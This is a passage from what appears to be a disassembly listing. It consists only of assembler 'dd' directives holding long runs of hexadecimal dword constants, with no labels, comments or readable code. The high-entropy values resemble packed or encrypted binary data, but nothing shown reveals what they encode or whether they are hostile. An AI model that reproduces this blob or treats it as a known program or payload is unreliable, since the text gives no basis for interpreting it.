0B32FD271h, 53DA84A7h, 0FBD63FBDh, 50682560h, 0A6CC9B14h dd 5F4A10CBh, 77F73AC0h, 0E4684E4Ch, 0E7905A6Bh, 5F0CEB50h dd 6B0CD1FDh, 2128D8E6h, 0BD3C1EE1h, 9A20092h, 3BE9DD31h dd 68C14D66h, 0F37025A7h, 13EF46Ch, 51B114EAh, 0C5878EF6h dd 4CB1FC68h, 0B5BC6460h, 6CF4A64Ch, 1A731B26h, 7CC0819Ch dd 295C3713h, 837390CFh, 171C4108h, 0F0ACFC2Eh, 9E322068h dd 85C5DA34h, 0C8D0E905h, 86929495h, 27CE5EA0h, 6F35C253h dd 0D0457281h, 601FB504h, 0B74BF09Ah, 3C8467A2h, 60C10B7Ch dd 0BED5ADAEh, 1252CB9Ah, 1F4A9890h, 4CAD421Eh, 32574ADCh dd 6F0289F9h, 0DEE6558Dh, 139B3DE9h, 2DAFBF15h, 7C0CA533h dd 0C1E9E22Eh, 0C5BE13F0h, 1D253C7h, 686499h, 7A591BB8h dd 239EE181h, 0FD13Bh, 70552AC9h, 5B196830h, 53CB356h dd 3A7157B6h, 3F865280h, 29481640h, 86310F1h, 0CB70A44Ah dd 0F5F8BA41h, 0D3BB1ED0h, 0DBBDC976h, 11ECFB10h, 5001E21Fh dd 3787C712h, 0E5A2D574h, 9E6F5597h, 96099F90h, 8A57FD76h dd 0A0008F49h, 4A4F4871h, 0C5C54FE9h, 0CD8FBF12h, 5D42B810h dd 7740100Bh, 4B696E50h, 0F7B5CC01h, 29097692h, 45A5DE8h dd 0BD004902h, 0D916083h, 7C14B87Eh, 25D74104h, 2CDDAC5Eh dd 0A20183E4h, 6B22498Fh, 0DA40D2F7h, 0B066C51h, 0C0CE8175h dd 501DA181h, 71A06053h, 805DB8A2h, 834538B2h, 0CE01BD90h dd 3B58C629h, 7E28E6F1h, 7E1C87E1h, 3C8C0CB3h, 1A06B6F9h dd 0FEFCCE80h, 83EE507Ch, 4D0A88Ch, 0FC884F44h, 42C22F74h dd 0DAF157D9h, 0F961243h, 59EA2C1Ch, 41545806h, 14253C7Fh dd 4B174EE0h, 5883EC5Bh, 6BE6B41Ah, 0BCD9610h, 70C5CB80h dd 4964F673h, 5B3B84E5h, 0ADFD3592h, 22920483h, 408839DDh dd 8104EB7Dh, 14442889h, 0AA909ED2h, 0CD004382h, 0C10CF67Bh dd 25074CEDh, 2F7F2502h, 3363D12Bh, 0FEC89DD8h, 0A2EDF74Fh dd 67F131C9h, 0FB56820Bh, 0FA0509D9h, 415CDC98h, 1B7D123Eh dd 8218449Ch, 97667CBh, 0C880C328h, 0BEE90B5Dh, 0A627535Eh dd 69B0ED85h, 3180FAB1h, 980635C3h, 0A5E12B28h, 0EDB652D4h dd 0B0241036h, 86B0199h, 3AC4E9C6h, 0FC25A700h, 7C39D412h dd 3A14EA35h, 30DC8921h, 0AC7F4485h, 0CBBBA483h, 2EFE242Fh dd 77410E42h, 0BA9EF5E6h, 12AD6EADh, 0EAD110E9h, 5C455830h dd 20A798D6h, 2D3A6EC3h, 1228080h, 994A4C05h, 0B6D8BF2Fh dd 10E50783h, 0D13C111h, 0F89E369h, 0A0702535h, 56DDF75Dh dd 87E74EE9h, 22F1E054h, 0E5907F05h, 7E94E627h, 0FBE9D8F6h dd 7F4ECE4Eh, 0C0D94980h, 0FEB8F17Eh, 24489E1Dh, 96A72863h dd 0C086889Ah, 213CBB01h, 20E84792h, 0C66DC0CAh, 6897C00Ah dd 0ABBDE8F6h, 3B1CF3A6h, 0E96AD34Eh, 4FC52E5h, 68122Fh dd 0B25217B0h, 0F28018A5h, 502B0669h, 40903EF8h, 2236CE50h dd 4AA97C07h, 67D5F789h, 3BBFD0F0h, 4CA54FB7h, 0AE0D362h dd 504A8571h, 0A0C99C87h, 24E9F034h, 0A8FC9EE4h, 2F55909Ch dd 70D92F1Bh, 760F8B01h, 953A21DAh, 112CEEC9h, 84F75DB6h dd 0E91637A6h, 0E9A2DDA4h, 1271564Ch, 0AB7A925Fh, 0AC52780Ch dd 0C1371CDFh, 7EF8C7Bh, 9ECB0806h, 4D9C84D1h, 485CB4BCh dd 3A5DAEB1h, 257963A3h, 0A97C6EF8h, 7CC35F64h, 0CA4302A9h dd 1EA623C7h, 2FD5C3F7h, 14505207h, 8169BF91h, 0FC119EBBh dd 0FBED3E81h, 615FB572h, 890A06Fh, 0FE4A7880h, 0B3BA949Fh dd 0AB582510h, 29258499h, 5A9AE8B2h, 0D9575A29h, 0ECC62047h dd 5EFAF283h, 806C08FAh, 762A5A30h, 0E89FA1B0h, 0F289807Fh dd 42000E53h, 0B2E5814Dh, 0DB1DC458h, 9DE0BAC0h, 0CDAA23E9h dd 0F134A65Ah, 0F6F865F5h, 7672E706h, 80ECCA10h, 77511770h dd 6F12AC9h, 0D6A1AD47h, 3B21AF6Bh, 5168429h, 8239B8EEh dd 7CE3306Fh, 9DC253D4h, 6842F176h, 0F4755095h, 0D6A454C6h dd 7DD90CCFh, 0D6E66E9Dh, 6B092D00h, 84591925h, 4F0CC30h dd 41FC0506h, 7D1D4Ch, 0D960C835h, 676BE94Fh, 8FE6169h dd 0F2F9DF9Ah, 29A90AC6h, 2F50525h, 2716736Ah, 3447E8C0h dd 712F33Eh, 0F74187F6h, 138075E9h, 43B47175h, 3F010CC2h dd 9C470DAh, 58A602F0h, 0EA14147Ch, 7CE91308h, 62D49CB1h dd 430ACE3Eh, 0D2E10B33h, 73F96D9Bh, 0BCDA2AE7h, 13E0AF10h dd 0CA16FB29h, 0BD3C50FAh, 98AAF84h, 42618591h, 202D3DFEh dd 14905EBEh, 0AC65A60Eh, 57E9C21Ch, 6BB95678h, 0E5F016F5h dd 0FF6B253Ah, 0DDEBB484h, 11A06BE1h, 4077BCDFh, 90B030Ch dd 59CA2117h, 0BB539701h, 97EF0105h, 59A95739h, 0A93DE102h dd 0D3625D07h, 4BBCB6Bh, 56072DAAh, 1421EE20h, 0B453558h dd 0D0CDF204h, 0C5FF98FAh, 0A4E1C59Dh, 0BC7B131Ah, 59BD93BEh dd 0ACF9E126h, 4E3D102Ah, 0B0885781h, 0B1F7E781h, 0ED70F257h dd 2718389Fh, 260ED959h, 6C930BF6h, 6B46A8D4h, 1B1B64Bh dd 59E37EC7h, 0BE91F43Bh, 82341AC9h, 2ED0A9C9h, 65153580h dd 5024182h, 44EEAD1Ah, 0F8EAFD89h, 9F13CDC1h, 4ABC28C1h dd 4BCC5FEAh, 6359522Ch, 0B21837EAh, 1658CDCBh, 0FC425662h dd 0C611F81h, 854D1AC9h, 0FBC9C36h, 6B4FB8A1h, 0C8002325h dd 5E131C48h, 24D50025h, 19052C47h, 21751D74h, 0A107B12h dd 368A92BFh, 0FE2D84DEh, 0CBE9F08Ah, 8004A3B6h, 93FC2AEEh dd 3F5EBC4Ah, 0E549F1D6h dd 53BB12E8h, 0AFA5B5FDh, 0A92F122Dh, 18E9C320h, 0C36F2F6Ch dd 0A8BE2585h, 0E109A54Bh, 0E13EF08Dh, 65AC014Ah, 6139803h dd 0A114765Bh, 8888A16h, 0E10C9AA1h, 623720A2h, 0B8B3087Ah dd 34BC402h, 281027E8h, 991072C1h, 3AF318B4h, 805B8118h dd 10C612CBh, 20082C78h, 2A312FC2h, 61C620BEh, 0AF160888h dd 0DFD7208h, 21285445h, 946998EDh, 0C48E8D08h, 403D220h dd 0EE067C49h, 0CC3118C3h, 554C0896h, 31D9189Ch, 90815708h dd 0C3188B99h, 0E2BE087Ch, 0C49BB880h, 4AEA620h, 0D11D4F6Ah dd 206C209Fh, 920B037h, 222C3352h, 8FECA18h, 8C6A790h dd 0FA20F027h, 8849CCFAh, 0B1FDFD18h, 0C2165189h, 8C0E7301h dd 81D2F10h, 2391C68Eh, 0E3200863h, 5E7A316Dh, 8C644F30h dd 89BC3608h, 49188B18h, 65186C8Bh, 0DE08C4F5h, 0D225049Ah dd 282BD006h, 88DBE32h, 0F4B8A226h, 0C80D0B71h, 175F128h dd 10BD90F1h, 0BF088533h, 0A3218C6h, 36451ADh, 1018948Ch dd 0E08ED1Ch, 4318CA1Eh, 1FA0BBB4h, 20D08620h, 77207650h dd 791620F1h, 49FC9420h, 0DF1050A1h, 9F81017h, 10CD0C10h dd 5824A5DBh, 89E8830h, 0CDFFA08h, 1F1074C8h, 797E51CDh dd 30429165h, 963E0344h, 206BE920h, 3C20FD39h, 66C1314Ah dd 98F2F608h, 76C94418h, 0AB7F80DDh, 80CBCA80h, 8C66AFEh dd 2A283F3Eh, 0A8B87301h, 805AD5BCh, 10C97822h, 31882333h dd 0CA187353h, 89CC6881h, 0B0267497h, 0B0AB59D3h, 8248FF3h dd 5E8910BCh, 8C2C2859h, 866528Ch, 188463ADh, 8326FF3h dd 0A341D92Eh, 542385A8h, 40121809h, 41C61053h, 2008F75Eh dd 90624A34h, 28A1E89h, 1A06C251h, 806C7169h, 85898AB1h dd 0E119A003h, 6D919884h, 99E73898h, 10C6E8E1h, 620884BBh dd 0D7C5815Ah, 0FC448D05h, 57049D43h, 48220602h, 45A82010h dd 4DEA9020h, 82100C9Fh, 41713186h, 0E1AA7A3Dh, 70BD4D9Ch dd 106F4610h, 4D100BE3h, 0D66D105Dh, 0FC9C6004h, 5FA4C8E8h dd 0A8EF810Ch, 0BC8B1E47h, 44C00CDDh, 6CB03B10h, 0EB02751Eh dd 0B90E8918h, 0AE3DDEA7h, 8F440063h, 0C90B4940h, 8BF77507h dd 811E2474h, 0B9F003DEh, 33FF476Ah, 0B10F80C0h, 2CCB304Fh dd 8006DBACh, 0A3B25250h, 819D87E9h, 6E7C1D1h, 5A75A681h dd 704776B8h, 65184846h, 0E90C6C16h, 0E61E3AEDh, 36A9C31Ah dd 0F166A0DFh, 7EBC6B8Bh, 4830321Ah, 18FF668Ch, 86BF5746h dd 48CAED00h, 22E96039h, 82D48211h, 10F43500h, 2F58C501h dd 0BB5B048Bh, 8912E997h, 4918AEE3h, 4DB9701Eh, 5264601Eh dd 54CDDE8Ch, 6B35B85Eh, 0A0590CC8h, 85E3E56Fh, 51BDDA3h dd 59A04E07h, 534F223Ch, 0C550E10Fh, 0FC9031DCh, 0B0C0FCB2h dd 0C2801CF6h, 893BFB6Dh, 2892F238h, 2FACCDD3h, 36E3E605h dd 7603CFFBh, 3B5C608Eh, 0F412EA05h, 0F0016E0Ah, 5A2F072Dh dd 69D9B551h, 92208D78h, 80C5390Fh, 458EC07h, 0C3E80552h dd 50B059E6h, 530839B4h, 92DE12E9h, 5CCABBC3h, 0EBDB2C12h dd 0E909801Dh, 749BD86Fh, 0D2661EBFh, 49FE9246h, 145D332Ah dd 36681203h, 0B23F305h, 0C8012AB0h, 0B951D5h, 2D7D58C0h dd 0FF8CB168h, 295D6D0Bh, 605579CDh, 1608C7E5h, 0F234E9FAh dd 14BF1665h, 5F05289Eh, 67F1420h, 68518BDFh, 82AD6895h dd 7768B73Ah, 0C2F774Ch, 7F65868h, 0BE56D3F7h, 5AA101Dh dd 5E5FF309h, 52C090A8h, 0BB75D6BAh, 48D1504Ah, 9DCC8104h dd 64912F3Ch, 0D9028870h, 0E94BA91Ch, 0CEE6FD86h, 0DDBB5301h dd 5518F44Dh, 0B79502FCh, 0F79E9994h, 6BF76885h, 0BF9DFEEh dd 0FD7B07E9h, 0D1D1EBB3h, 40B6AD47h, 38C3C718h, 8261292Ch dd 20D51343h, 0FAA93A11h, 7EFC2A01h, 0C6E5A2B5h, 281C26D8h dd 14975F5Bh, 0D06E4A29h, 3FF9F600h, 0DEF70FD5h, 0F644589Fh dd 275001C6h, 0F0E93E29h, 33E66A4Ch, 0F351C812h, 78F22D98h dd 997BBFC8h, 0D594DF4Bh, 0AE6145FCh, 0F6B681Ch, 5324C539h dd 3F1B6F47h, 5556BF85h, 20E796E0h, 9C88924Dh, 84822704h dd 53E202F3h, 74266882h, 0ED60C674h, 1C2831B3h, 0C48058C3h dd 0AEDA085Ah, 55C75398h, 41DAB460h, 8BADEE7Dh, 79BD45C6h dd 9A60A598h, 54FDE0E9h, 5CB50187h, 6A3CD57Bh, 462D4900h dd 28D943h, 5237BD55h, 0F58133CCh, 0DE5D740Ch, 72D70C62h dd 2B7C6Ah, 8A4E5FC5h, 924CE917h, 5809ACA4h, 86147034h dd 0B716DCA9h, 0F895BE14h, 0E9C2132Ch, 806484D2h, 0D4F6CF1Ch dd 14EC801Ch, 0C1D7C4CEh, 0E130DCF4h, 0C05EE236h, 0DA6CE94Ah dd 0B56E5B5h, 96DA4B48h, 0BF141928h, 7D0D26A0h, 0C64D030h dd 7231A4B5h, 5EF112AFh, 7ECEA151h, 0BEC1BAF2h, 60BB0DD8h dd 94409707h, 80354CB4h, 0E53A6138h, 6683EDBAh, 38B75358h dd 4577FD82h, 0EC28012Eh, 2AE23059h, 5FC37CDCh, 2FCD9D3Ch dd 596C6ED8h, 26766DF6h, 53D1AC84h, 9FD40DD9h, 0CD01450Ah dd 306036DCh, 7A4BA12Fh, 0A5461EA7h, 3AAD680Ch, 0DE92B045h dd 0A833C597h, 0AFE0909h, 1D006E41h, 9277063h, 19F92EE3h dd 45B95516h, 904FDFE6h, 15B3D8FBh, 2847EF3h, 42DB81BFh dd 4CE6BCCh, 7C30314Ch, 2A39F6DFh, 0C8361F25h, 7A60FBBh dd 216887F2h, 89090E28h, 9672AB54h, 948B038h, 7FAF4221h dd 882787Ah, 0C67F8832h, 5589B59Ch, 41A11CF7h, 2E79208Fh dd 5B314C48h, 20688FB0h, 7AFA3133h, 183DFEBEh, 8B155AFBh dd 0B12EC03Ah, 0F7B05018h, 19D8F63Eh, 2122D043h, 0FB18216Eh dd 5DE26F4Ch, 3DA55F8Fh, 0F0805296h, 864E368Dh, 3E663AE6h dd 0D916355Fh, 2CFE895Bh, 1C022DF0h, 21D8CCE2h, 80A496C7h dd 6910D1E1h, 257F90B7h, 0B6C75499h, 52B3B1E9h, 0FBAB424h dd 10B40BA0h, 0B87C1845h, 8701C823h, 395D5255h, 554509FFh dd 1427B9E7h, 859B978Ah, 3D2D1805h, 0C2FE6928h, 881EA67h dd 934A8EE9h, 45E8296Eh, 0B8235505h, 5496057Ch, 4B31BA74h dd 43023F94h, 421400FDh, 0C06BB410h, 0C06A8A38h, 0DF480139h dd 2908407Bh, 0B532F748h, 2551FA2Ch, 65C20BE9h, 85A74C7Fh dd 0D8308EC6h, 0E908C34Ch, 0C2D72FEEh, 0D7C4B7A2h, 0D09B9306h dd 9605CCB9h, 0A3EC582Ah, 0FC404D2h, 0C0D88437h, 0C4628D7Ch dd 0F9016F1Fh, 9042A649h, 0E8AA878Bh, 26057DA2h, 8E79B52h dd 0D11D4C64h, 18E103BFh, 0B33AD83Bh, 0A667C0F1h, 0CD891C36h dd 5DE8CB59h, 38F61B58h, 0DE9C6BEBh, 80C35589h, 0D8DA4E7Bh dd 61F8E8A9h, 7F159B02h, 0C0CB8171h, 122E2C4Ah, 408D5DE9h dd 85357E68h, 61756837h, 3DF59897h, 0B866EA60h, 64B800DDh dd 0C583328Fh, 9376E9FFh, 0E80B7092h, 5211ED67h, 0A5ED9713h dd 2BEFE984h, 9F109A95h, 0CE4009Ch, 1B6816AAh, 602EBC3Ah dd 31DB081Ah, 2ABA26C1h, 0B6213EECh, 807BD04h, 99F015Bh dd 2FA8D6DAh, 677C3D89h, 61A05F5Ah, 1B7E7D95h, 0F5440125h dd 0C04C092h, 0DB0FC858h, 4AFAAA59h, 0EF9C70FAh, 225C3193h dd 5CD72CD9h, 0AF6D361Dh, 52320725h, 0F4657709h, 0B744362Dh dd 5DA797DBh, 0D2202AB0h, 0D9C235C0h, 0B86CD770h, 0ECCF5A9Bh dd 349A170h, 30789A23h, 0C63D3334h, 473D1B01h, 2CE59913h dd 0CAD853B8h, 62F920Bh, 63083FEBh, 8C760C59h, 2904A40Ah dd 820EDCBh, 71140CD0h, 8033012Eh, 92A9381Eh, 64A88C03h dd 0ACFEDADAh, 0B753CD90h, 0E21651C7h, 68ADB241h, 47266BA9h dd 295D6C05h, 20FEB01h dd 5E25707Eh, 1EEB315Fh, 0AF8A856Fh, 0B42E9D29h, 0C29F4AD4h dd 0DB9DD7E2h, 0E6684625h, 19B09FE6h, 43B2D72Dh, 3E269F25h dd 826839FEh, 66013B62h, 98EED509h, 125159FCh, 74F23B99h dd 31CDBAD3h, 296F25E9h, 5EB23A33h, 6A20944Ch, 12C9599Fh dd 0EB3CC429h, 9CD87EF7h, 203B0D3Bh, 0F0C50201h, 5F70C128h dd 0C0F41503h, 0AFB47D13h, 200304AAh, 0F007FEF9h, 76A971C1h dd 0DEE985BCh, 34DDEA2Fh, 0D3B1E32Eh, 71B631ABh, 0D03000F7h dd 3E51FA5Ah, 5C192BB1h, 28F7EFCAh, 0C648DFCCh, 6BB801D6h dd 2E3D7556h, 0DD5F8BC2h, 96E6FD82h, 0A256657h, 3DF42148h dd 0CB3514A8h, 0CA4FC780h, 83BFC81Ah, 57218DAh, 6FC3801Ah dd 530C266h, 3A30EB5Eh, 0B5014BAFh, 93CF3871h, 0F44531A6h dd 18F1F6F0h, 5B9B96E9h, 2C1474EDh, 74F528E7h, 0F2084799h dd 98471807h, 32FA1DA7h, 1AFB313Fh, 7D1CB69Ch, 75276D4Fh dd 6DA5DBA7h, 65B37E14h, 4CCAB84Bh, 6F260571h, 0AE8105EEh dd 3400F42Ch, 481D0C28h, 0C0AE1F04h, 531C3028h, 0D880D388h dd 0C7305A5Bh, 0EE32A066h, 0D9F680B2h, 0B7535000h, 73EF8040h dd 0F7FC4888h, 622D6A13h, 15020C5Ch, 35DE09F2h, 0D6515F07h dd 85C2DE2Eh, 7FC14B7Dh, 97747742h, 0E80C5C24h, 0CE2FF96h dd 3A383921h, 4801090Ch, 0E94A5B57h, 249E50E7h, 892D8258h dd 0E115A2h, 1DA4F8C6h, 78D93BEBh, 0D447F37Ah, 72A28930h dd 4E98ECCFh, 0DD7DB875h, 0FE1D0927h, 0CBFE250Ch, 0D088E3E0h dd 0FB9598EBh, 4222E604h, 8A8E18F8h, 0CEFA3147h, 52CFD706h dd 1F3D8516h, 0AB8FA583h, 0A9E959E1h, 55C89D39h, 0D519FB8Eh dd 40893A4Ah, 0B2A5512Ch, 685CBF82h, 0BBC657BCh, 14B6520Fh dd 21BD8951h, 0DD6FE9D6h, 0B6E72399h, 2E99BCBAh, 0E05BD2F0h dd 0E84B5905h, 8E03CC1h, 67743501h, 2D5C94E9h, 5BDFC44Bh dd 0F32F35CDh, 9F9C5C8h, 0BE856721h, 34F155C2h, 58E81DB4h dd 22F55785h, 6DC4D6D1h, 0B6C1EF07h, 0DCB42584h, 0F7BA8394h dd 3DA079E7h, 0C0822C77h, 9A05AAh, 2D391314h, 2123DC4h dd 58BFBEB8h, 4F0D3B83h, 85DE1D27h, 0FB1BCD43h, 7DC0330Fh dd 65F0F0F1h, 97C2858h, 0EBBF5620h, 82AF40C3h, 6FFE093Fh dd 6354097Eh, 7B5B310Bh, 10384AE9h, 0C48C4E9Eh, 34DF90C8h dd 0C1BE04AEh, 14570EA8h, 8242F3EBh, 572A64DCh, 50339CE0h dd 5F37C312h, 2315FBB6h, 0E158F3BBh, 1C683578h, 6516AB62h dd 171B04EEh, 0BBBF008Fh, 0C2644470h, 0B11AC4B1h, 5675DFE0h dd 29403616h, 87210FFh, 6009317Dh, 6EF4776Bh, 7FD62C0Bh dd 55115109h, 0E012AF29h, 9670E9EAh, 4BBA02FDh, 2076D404h dd 0B600E0Fh, 8402576Fh, 56D6E439h, 0B0052900h, 48F8E928h dd 0B3C47CDCh, 0C3BEC448h, 0C5ABDD1Bh, 18C7E9A8h, 0E530C2B2h dd 23598453h, 302A7E74h, 0D40BC7Ch, 112546C4h, 41025470h dd 0D4CFD02Dh, 0BB990994h, 91BF5312h, 2A30BBCAh, 0F89D5F88h dd 8C215191h, 794FA638h, 2D913EE8h, 0DB6F4CE4h, 0FA41122Eh dd 7016018Ch, 7376E1BDh, 80F55B7Bh, 44B0254Ch, 3504C17Dh dd 2D305D06h, 798C2E82h, 22C82D5h, 385D1FCBh, 316859D0h dd 387B1726h, 259E69D5h, 5ACC7C5Dh, 53BD764Ch, 0B0E9C261h dd 3509EE50h, 0D7C62D8Dh, 17B83100h, 0E9167003h, 74FE1CD3h dd 5074E206h, 274080A1h, 0B88402B9h, 0C12956F4h, 8043E65Ch dd 0EBB131E6h, 70575D17h, 18D44AC2h, 0EFD10B6Ch, 0ECA05547h dd 36781FB2h, 414091B0h, 60172F68h, 0A22F9346h, 876BD10Dh dd 0C9716ADBh, 5100C7FEh, 2F7F90B9h, 7D589D4Bh, 10E3084Ch dd 0A44B22C9h, 0B54925AFh, 1F0A041Ah, 0CFC06227h, 5CB63788h dd 5149AA1Bh, 0F27D7Ah, 555A6E32h, 3C4366BDh, 954D7506h dd 5A06D0F7h, 508580D5h, 4913E4B8h, 3FE1FB2Ah, 0C94EE12Ah dd 734CBC03h, 1932E7BFh, 410A250h, 0F9A5FE84h, 45778E40h dd 0CF2750B2h, 4B367F60h, 96F3BC13h, 1C2BCD1h, 0EA30F349h dd 0B81F220Eh, 349D5ABFh, 0E32628B3h, 8B528FAAh, 0D3E54C2h dd 604D8E86h, 360D79ADh, 742918FDh, 0A5004E9h, 0B0CA875Ah dd 13B5B20Ch, 0CC228668h, 0E988029Fh, 0B1B62B5h, 9B5FF234h dd 8FBEF1E9h, 65E8C87Bh, 56E688E8h, 8B20E7BFh, 34D50EE9h dd 3238346Ah, 0E435BFEAh, 0A7065905h, 0C524CCABh, 47BD5018h dd 48307F44h, 0FA281BBFh, 60882B6h, 974E3CCDh, 0A2E9227Ch dd 6422B4DEh, 0EF0648D7h, 0FA64855Ah, 9BB5B98h, 12212F3Fh dd 0E3A5200h, 0CBF04426h, 3D5AE918h, 0EEC4FE42h, 4ED1495Eh dd 9A708107h, 947BA469h, 90CBB9Ah, 98D3C7B4h, 5A973C75h dd 0E30E61BBh, 6C6F6BE2h, 6320CB80h, 870B0B9Fh, 4299E9F3h dd 88756520h, 59007CAFh, 685DE831h, 0B9395F01h, 81D1D250h dd 5C012D0Fh, 7FD86B56h, 49F301BEh, 0C2E9111Fh, 269622Bh dd 0AE6858C7h, 0B00C460Ah, 0DE56E8A7h, 0D7FD9679h, 7E81C2DFh dd 0DABCC909h, 0D4A9802Fh, 6195902Ah, 0F7E255D7h, 165C8404h dd 0B11290F9h, 416AA519h, 4508FF58h, 301E87CCh, 7CE4358Fh dd 36125AB2h, 614579Dh, 2DCB09B4h, 0D7DA0389h, 0B3FBFA5Ah dd 5F03B2E0h, 0D1601FEEh, 2393BBA9h, 0C92A516Fh, 5BA97A84h dd 5EFFC14h, 0D7E2792h, 2018BA07h, 0C3C021D7h, 4B8C3750h dd 5FAE566h, 68D0AB08h, 9A3D0AE9h, 4D2702B0h, 0CA090B59h dd 7E5A4F54h, 0E89237AFh, 7A045413h, 2123C8Dh, 0E438705Ch dd 626B005Fh, 12164341h, 44A09DE9h, 1E6314DBh, 0F2C2A692h dd 51165D05h, 7E3E2D00h, 82053CE3h, 75FC2D38h, 70232C2h dd 9E6BCFE9h, 0D3B8410h, 0E1EDFC5Eh, 68CCF9F7h, 0F7755EA5h dd 0F0221779h, 0FBD6CCF8h, 9BE53F13h, 46A8A844h, 5F030696h dd 70951233h, 6713A026h, 4F933D0Fh, 83E2B0FFh, 3A1C0208h dd 5D35922Bh, 2B656CFFh, 3B7A7C33h, 0EB5E5913h, 559F58Fh dd 35A0680Bh, 0E90E3177h, 8004A4E5h, 45659E6Bh, 0ECF93A4Bh dd 96300841h, 9CA40FEh, 0F69481F9h, 649F5AA0h, 89D7B06Bh dd 0E5805CB0h, 2C245CBCh, 351F7652h, 0A73511E5h, 4198AF0h dd 0D05475B8h, 94EFB858h, 17D51C31h, 0B56128Bh, 68D440C2h dd 5B62559Fh, 1E9A8540h, 39B0F4h, 4D703FCAh, 0A2ADE92Fh dd 0D4C14BDEh, 4A6FE301h, 0F66760C6h, 0E5A257h, 43744BB3h dd 0EFC9EC30h, 124C9AD8h, 34F5ACE9h, 0EBD813EAh, 0F6BEA184h dd 6931DA52h, 0F7F25F44h, 16DDDC82h, 0C9907C44h, 0E29801E6h dd 354F260Ch, 31A0C4Dh, 0E9AD5A7Ch, 2E57B15Ch, 74277C9Ah dd 97FF54EFh, 5FADE85Ah, 0EB4A84ECh, 7F207639h, 2B5D815Fh dd 16C529B4h, 5E31AFDh, 0B4895030h, 6D17B73Fh, 0D6094652h dd 0B5A7987Fh, 0E5D007AEh, 3330F580h, 0EDB0B3CDh, 1725E9C9h dd 0C7550043h, 9D923663h, 4A02BA58h, 31A10C5Dh, 0C22C7FFBh dd 7A1C0818h, 0F58B73E9h, 0FDB6A6A9h, 2FA99794h, 28686230h dd 0E1CC704Ah, 7B5545ABh, 39CB1040h, 9257AB6h, 5AC95738h dd 0E0C1A0FFh, 962D4008h, 976A818h, 50801107h, 580B58C5h dd 4615A056h, 984A4D32h, 173F5E69h, 0B5B1EB5h, 18D5FF7Dh dd 7B670AE7h, 515D24A9h, 11081845h, 0E92CD189h, 5F98EBC5h dd 1C223EAAh, 8035532Bh, 687B1E1Ah, 0B5A62FB3h, 226497A0h dd 8A15C028h, 9948C30Ah, 6B3DD77h, 5760E706h, 0B8929D0Fh dd 0BDEA5C81h, 0DC84D327h, 0F1C6805Ah, 0AF267732h, 0C851D1Ah dd 60820517h, 0E6BA01BFh dd 306BC151h, 370B33FEh, 0B24F1E80h, 0AB1F8E05h, 0ED590630h dd 33B43B14h, 1FC975AAh, 0D7D0895Ah, 0FF288596h, 609B5F73h dd 17048E37h, 893E5159h, 3D8C92CFh, 8D0BEF8Ah, 0FC510102h dd 0B2BDAF42h, 5E5A5F17h, 0F9FF3D0Fh, 3B9DFE58h, 0A5B84ED7h dd 0B328E430h, 4EB03039h, 59EE2013h, 500A02FFh, 805C21B4h dd 3073C401h, 0E9F858E6h, 0A1F1E0ECh, 0EE044B94h, 61BEA4C4h dd 0EDE9CA64h, 50A22B11h, 65D99193h, 0C05A023Fh, 2716ABDBh dd 0BDD62F15h, 20C16860h, 5A342D6Ah, 26D27000h, 32C13336h dd 7D290F43h, 200074CAh, 1FE93908h, 807EA95Ah, 0FD54C0C1h dd 0F75A972Dh, 593D7E09h, 83607DB6h, 2FF158C5h, 19A35F04h dd 64B95618h, 0C63D030h, 5FB340D6h, 0BD620E02h, 0D1071354h dd 0D4D25CCCh, 79E0C2FEh, 0C1A6937Fh, 85C36442h, 2C5298FEh dd 0B2ECF14Fh, 86E808F4h, 2B9D8052h, 983A5779h, 0E6077F91h dd 634617C0h, 93A81053h, 6119967Ch, 61EE97CCh, 8709ED2Bh dd 40478F16h, 8AE85E85h, 804A6E58h, 62A5E735h, 0C1F6F8F5h dd 7F090BBAh, 962B917Eh, 0C4564805h, 1A3EFA01h, 0E0E9BE7Bh dd 0CDE9A535h, 0E2606413h, 5A12F99Dh, 2AA12361h, 7B785FDDh dd 9DA229CBh, 0C60BCF4Ah, 12D39AF8h, 0EF5B5453h, 2D2A3D99h dd 0E32FE3h, 9D592F17h, 0C3F12B05h, 0A3C1600h, 8914021Bh dd 0F2315AD6h, 2E0BA870h, 86234B07h, 8A95EE41h, 29AC42ECh dd 0E118590h, 28BA8516h, 7B7E2D7Bh, 0F0A8CB64h, 227A8BD0h dd 0B9041FE2h, 149C8102h, 265AD131h, 0A3BA028Ah, 8050642Ch dd 1D3AE4ADh, 8696A043h, 72FC263Ch, 0A11F1465h, 802B680h dd 0CB048122h, 61B77FE2h, 87FC44EFh, 0C958F869h, 24E65E55h dd 0BCCF3E00h, 765A2F95h, 0AB765A7Eh, 0CC802E03h, 1FEC99B9h dd 0E225090h, 7556DEF7h, 0C3C210EEh, 710D4807h, 807F8E21h dd 477405D0h, 76EA19C4h, 86988D03h, 842FEDE9h, 5FCAB7h dd 0B27A336Ah, 68005015h, 8886D73h, 967D34E9h, 2655820Dh dd 64DD17B7h, 0EEF9E07Eh, 2515B4B4h, 5A736270h, 7FA6C0B5h dd 7CFE2E36h, 4B602A3h, 0CA5D1A80h, 5E0805D2h, 681A42EBh dd 17D254C2h, 522969h, 7247287Bh, 6E23B060h, 49A603FFh dd 519F2CD9h, 7DF4AF9Fh, 1D636D88h, 0DF1A8959h, 70F10F9Bh dd 0B8DF485Bh, 49760117h, 50F18E09h, 9EB107C4h, 70EEB80h dd 5FC357CBh, 7C025FEh, 53B5585Bh, 3425BB44h, 0F75A9574h dd 0E98664E7h, 0F166DE0h, 437CC4BEh, 0C1730172h, 8005B72Bh dd 3273BD0Ch, 6740E96Ch, 73C343DCh, 0DB1F071Dh, 0DBC9F089h dd 4869B58h, 0A6494A72h, 7260872Dh, 9C6059B6h, 0EEBD5AD0h dd 16CEB151h, 5DB749CEh, 8AF556A9h, 0AF18DFDFh, 0B758545Dh dd 0CCC1CF1h, 5E681608h, 0A6C30948h, 0F452F1Ah, 0F0058992h dd 0CFAED021h, 4A3B6939h, 88A35457h, 303DCD3Dh, 8D12D8EAh dd 1BD74D21h, 6BE9550Fh, 9FB52238h, 211668B5h, 0E7EA7E88h dd 81AD79DAh, 45C87F74h, 0BFB57452h, 762D6716h, 702B6B1h dd 8581FD5Ah, 88AD07C1h, 753CDDEh, 8251D028h, 9E77EE12h dd 21544EAFh, 13A1EDCCh, 0A5EFF4EEh, 0A8ADF70Eh, 0CCBB3961h dd 0C2552F4Ch, 0F7814038h, 2DD3059h, 0A04868F0h, 2F76875Ch dd 0CEB7695Ah, 7A5AA2Ch, 0C44B1F98h, 0CCC1EB0Eh, 0BB05F592h dd 4A757A45h, 2A7DDFBAh, 23255253h, 8AA353F0h, 1291EB68h dd 1D74B301h, 0C35EDE87h, 